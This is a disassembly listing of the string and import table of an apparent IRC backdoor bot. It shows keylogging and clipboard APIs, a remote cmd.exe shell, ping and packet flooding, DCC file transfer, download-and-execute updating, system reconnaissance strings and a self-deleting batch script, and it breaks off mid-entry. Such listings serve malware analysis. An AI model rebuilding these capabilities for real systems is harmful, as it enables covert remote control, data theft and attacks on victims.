align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981A+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981A:loc_40A2AFo align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981A+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981A+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981A:loc_40A265o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981A+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981A+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981A+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981A+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981A+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981A+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981A+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981A+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981A+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981A+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981A+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981A:loc_40A15Ao align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981A+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981A+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981A+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981A:loc_40A0FBo align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981A+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981A+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981A+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981A+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981A+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981A+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981A+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981A+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981A+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981A+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981A+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981A:loc_409FDBo aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981A+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981A+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981A+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981A+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981A+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981A+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981A+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981A+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40981A+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981A+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981A+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981A+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981A+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981A+5DFo align 10h ; char aSend[] aSend db 'send',0 ; DATA XREF: sub_40981A+5D2o ; sub_40EE51+223Ao align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981A+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981A+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981A+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981A+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981A+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981A+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981A+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981A+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981A+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981A+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981A+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981A+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981A+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981A+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981A+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981A+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981A+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981A+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981A+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981A+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981A+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981A+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981A+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981A+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981A+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981A+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981A:loc_409C29o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981A:loc_409C01o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981A+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981A+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981A+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981A+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981A+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981A+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981A+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981A:loc_409B53o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981A+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981A+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981A:loc_409B0Eo align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981A+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981A+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981A+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981A+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981A+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981A+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981A:loc_409A79o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981A+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981A+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981A+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981A:loc_409A12o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981A+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981A+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981A+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981A+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981A+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981A+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981A+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981A+14Ao align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_40981A:loc_40994Fo ; ___crtMessageBoxA+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981A:loc_409922o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981A+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981A+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981A+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981A+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981A+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981A+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981A+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981A+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981A+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981A+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981A+23o align 4 aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_40981A+Ao align 4 ; char unk_42C764 unk_42C764 db 2 ; DATA XREF: sub_40A4A7+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 ; char aAvicap32_dllFa[] aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+2CCo align 10h ; char aOdbc32_dllFail[] aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+298o ; char aShell32_dllFai[] aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+264o align 4 ; char aMpr32_dllFaile[] aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+230o align 4 ; char aIphlpapi_dllFa[] aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1FCo align 4 ; char aDnsapi_dllFail[] aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1C8o ; char aNetapi32_dllFa[] aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+194o align 4 ; char aIcmp_dllFailed[] aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+160o align 4 ; char aWininet_dllFai[] aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+12Co align 10h ; char aWs2_32_dllFail[] aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+F8o ; char aGdi32_dllFaile[] aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+C4o align 10h ; char aAdvapi32_dllFa[] aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+90o align 4 ; char aUser32_dllFail[] aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+5Co ; char aKernel32_dllFa[] aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+28o align 10h ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA30+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAF5+5o ; sub_415C4D+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB77+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC1B+2o ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC3D+140o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC3D+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC3D+48o align 4 unk_42C9A8 db 2 ; DATA XREF: sub_40ADFD:loc_40AEBCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 ; char unk_42C9E8 unk_42C9E8 db 2 ; DATA XREF: sub_40ADFD:loc_40AE8Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42CA28 db 2 ; DATA XREF: sub_40ADFD:loc_40AE56o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 ; char unk_42CA5C unk_42CA5C db 2 ; DATA XREF: sub_40ADFD+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 ; char unk_42CA9C unk_42CA9C db 2 ; DATA XREF: sub_40AF81+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 ; char unk_42CAD8 unk_42CAD8 db 2 ; DATA XREF: sub_40AF81+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h ; char dword_42CB10 dword_42CB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B10D+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 ; char dword_42CB4C dword_42CB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B10D+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 ; char aPrivmsgSS[] aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B38B+33o dword_42CB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B412:loc_40B544o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42CBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B412+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42CC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B412:loc_40B4F8o dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 ; char dword_42CC4C dword_42CC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B567+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h ; char dword_42CC90[] dword_42CC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B567+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B567+21o ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B71C+52o ; char aSysinfoCpuI64u[] aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D3+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D3+192o ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D3:loc_40BA37o align 10h word_42CDD0 dw 3Fh ; DATA XREF: sub_40B8D3:loc_40B9D5r ; sub_40D099+1Fo align 4 ; char aSS_4[] aSS_4 db '%s (%s)',0 ; DATA XREF: sub_40B8D3+EBo a??? db '???',0 ; DATA XREF: sub_40B8D3:loc_40B996o ; UPX0:loc_415BFEo a2003 db '2003',0 ; DATA XREF: sub_40B8D3+BAo ; UPX0:0042E8C8o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D3+AAo ; UPX0:00415BE9o align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D3+98o ; UPX0:00415BD9o align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D3+7Eo ; UPX0:00415BC0o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D3+6Co ; UPX0:00415BB0o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D3+5Ao ; UPX0:00415BA0o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D3+46o ; UPX0:00415B92o align 10h ; char aNetinfoTypeSS_[] aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB87+ABo align 10h ; char off_42CE40[] off_42CE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB87:loc_40BBFBo off_42CE44 dd offset dword_4E414C ; DATA XREF: sub_40BB87:loc_40BBF4o ; char aDialUp[] aDialUp db 'Dial-up',0 ; DATA XREF: sub_40BB87+5Bo ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_40BB87+48o align 10h ; char unk_42CE60 unk_42CE60 db 2 ; DATA XREF: sub_40BC4D:loc_40BE06o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42CEA0 db 2 ; DATA XREF: sub_40BC4D:loc_40BDFFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 ; char dword_42CEDC dword_42CEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4D+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42CF08 db 2 ; DATA XREF: sub_40BC4D:loc_40BDE0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42CF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4D+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42CF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4D+3Bo ; char aD_SS[] aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40BEF7+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40BEF7+10o align 10h ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6F+60o align 4 dword_42CFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00F+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 ; char dword_42CFEC dword_42CFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C081+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42D018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C081+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42D038 dd 80000002h, 42E6BCh, 80000002h, 42E6ECh, 80000001h, 42E724h ; DATA XREF: sub_40C1B0+7o ; char dword_42D050 dword_42D050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1B0+63o ; sub_40C353+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 ; char dword_42D094 dword_42D094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C353+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 ; char dword_42D0D4 dword_42D0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C353+47o ; sub_40C514+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 ; char dword_42D108 dword_42D108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+362o ; sub_40C8B6+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh ; char dword_42D130 dword_42D130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 ; char dword_42D180 dword_42D180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42D1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h ; char dword_42D1DC dword_42D1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C514+16Ao dd 169h dword_42D1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42D224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42D258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C514+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 ; char dword_42D28C dword_42D28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B6+1CFo dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h ; char dword_42D2E0 dword_42D2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B6+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42D310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B6+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 ; char aAB[] aAB db 'a+b',0 ; DATA XREF: sub_40C8B6+97o dword_42D350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B6+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h ; char unk_42D390 unk_42D390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42D3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 ; char unk_42D414 unk_42D414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 ; char dword_42D464 dword_42D464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE51+2B6Fo ... align 4 ; char unk_42D498 unk_42D498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h ; char unk_42D4E0 unk_42D4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 ; char unk_42D518 unk_42D518 db 2 ; DATA XREF: 